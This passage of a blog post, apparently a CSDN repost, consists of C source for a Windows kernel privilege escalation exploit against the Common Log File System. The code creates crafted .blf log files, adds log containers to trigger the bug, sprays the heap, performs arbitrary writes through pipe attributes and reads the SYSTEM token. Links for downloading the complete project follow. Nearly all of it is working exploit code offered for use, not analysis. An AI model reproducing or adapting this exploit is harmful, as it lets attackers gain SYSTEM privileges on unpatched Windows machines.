				HANDLE v55 = CreateLogFile(v85, GENERIC_READ | GENERIC_WRITE | DELETE, 3u, 0i64, 4u, 0); //gets a handle of MyLogxxx.blf
				printf("OK handle 55 0x%x\n", v55);
				if (v55 == (HANDLE)-1i64) {
					//       printf("Choose name fail ---> Duplicate\n");
					exit(1);
				}

				/* 5. Call the AddLogContainer API to add a log container for the base log file MyLxg_xxx.blf created in Step 4.*/

				LONGLONG pcbContainer = 512;
				//  int v56 = rand();
				WCHAR pwszContainerPath[768] = { 0 };
				WCHAR pwszContainerPath2[768] = { 0 };
				WCHAR pwszContainerPath3[768] = { 0 };
				if (flag == 0){
					wsprintfW(pwszContainerPath, stored_env_containerfname);
				}
				else {
					wsprintfW(pwszContainerPath, stored_env_containerfname2);
				}
				

				//printf("string copiada2: %ls\n", stored_env_containerfname);

				printf("pwszContainerPath: %ls\n", pwszContainerPath);


				if (!AddLogContainer(v55, (PULONGLONG)&pcbContainer, pwszContainerPath, 0i64)) {
					CloseHandle(v55);
					CloseHandle(v51);
					//       printf("AddLogContainer Fail, please delete C:\\Users\\Public\\MyLxg_xxx.blf and try again\n");
					exit(1);
				}

				// printf("LOG:C:\\Users\\Public\\Mylxg_xxx AddLogContainer OK\n");

				/* 7. Call the AddLogContainer API to add a log container for the base log file MyLog.blf opened in Step 3. */

				pcbContainer = 512;
				srand(time(NULL));
				UINT v56 = rand();

				wsprintfW(pwszContainerPath, stored_env_containerfname);
				

				AddLogContainer(v51, (PULONGLONG)&pcbContainer, pwszContainerPath, 0i64); // Crash !

				//   printf("LOG:C:\\Users\\Public\\MyLog AddLogContainer OK2\n");

				char v33[16] = { 0 };
				char v28[4] = {};
				v28[0] = 1;

				//   printf("NtSetInformationFile address --> 0x%llx\n", _NtSetInformationFile);

				//   printf("Calling NtSetInformationFile\n");

				   /* 8. Call NtSetInformationFile(v55, (PIO_STATUS_BLOCK)v33, v28, 1, (FILE_INFORMATION_CLASS)13),
				   where the last parameter is the type of FileInformationClass. When the value is FileDispositionInformation (13),
				   the function will delete the file when it is closed or will cancel a previously requested deletion. */

				typedef NTSTATUS func(HANDLE, PIO_STATUS_BLOCK, PVOID, ULONG, FILE_INFORMATION_CLASS);
				func* _NtSetInformationFile = (func*)GetProcAddress(LoadLibraryA("ntdll.dll"), "NtSetInformationFile");

				NTSTATUS setresult = _NtSetInformationFile(v55, (PIO_STATUS_BLOCK)v33, v28, 1i64, (FILE_INFORMATION_CLASS)13);
				//   printf("SetInformationFile: 0x%x\n", GetLastError());

				   /* 9. Call the CloseHandle API to close the handle of the base log file MyLxg_xxx.blf, to trigger this vulnerability. */

				CloseHandle(v55);
				CloseHandle(v51);

				VOID* dest = malloc(0x100);
				memset(dest, 0x42, 0xff);

				void * v9b = _malloc_base(0x2000);
				
				int v29 = 90;
				_NtFsControlFile(hReadPipe[0], 0, 0, 0, &v30, 0x110038, &v29, 2, v9b, 0x2000);

				PUINT64 v27= ( PUINT64)((char*)v9b + v14 + 0x4b8);
				if (v27 == 0) { exit(1); };
				System_token_value=*v27;
				next_token=v27[1];

				printf("SYSTEM TOKEN VALUE= %p\n", System_token_value);

				if (System_token_value == 0x4141414141414141) {

					printf("Failed attempt try again..\n");
					exit(1234);

				}

				//getchar();
			}
			flag++;
			//getchar();
			return 0;
		}

int main(int argc, TCHAR* argv[])
{

	getOSversion();
	InitEnvironment();
	checkAccessToken();
	createInitialLogFile();
	GetOffsetBetweenPools();
	craftFile();
	crcCalculatorAndFix();
	doHeapSpray();
	pipeArbitraryWriteValues();
	pipeArbitraryWrite();
	pipeArbitraryWrite();
    printf("website:www.chwm.vip\n");
	WinExec("cmd /c notepad", 1);
	getchar();
	return 0;
}

Complete project download

[Download URL] icon-default.png?t=N6B9https://wwrd.lanzoum.com/i9wa4166r9bg  [Download URL] icon-default.png?t=N6B9https://download.csdn.net/download/qq_39190622/88245653

Guess you like

Origin blog.csdn.net/qq_39190622/article/details/132438026